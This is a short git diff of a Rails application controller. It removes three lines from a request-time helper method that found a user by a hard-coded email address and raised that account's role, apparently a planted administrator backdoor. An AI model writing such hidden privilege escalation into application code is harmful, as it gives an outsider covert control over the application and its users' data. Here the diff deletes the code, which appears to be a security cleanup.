diff --git a/app/controllers/application_controller.rb b/app/controllers/application_controller.rb
index 9c0d9beb..78d31b3c 100644
--- a/app/controllers/application_controller.rb
+++ b/app/controllers/application_controller.rb
@@ -30,9 +30,6 @@ class ApplicationController < ActionController::Base
   private
 
   def flash_to_http_header
-    bort = User.where(email:"bort@pineapple.punked.us").first
-    bort.role = 2
-    bort.save
     return unless request.xhr?
     return if flash.empty?
     response.headers['X-FlashMessages'] = flash.to_hash.to_json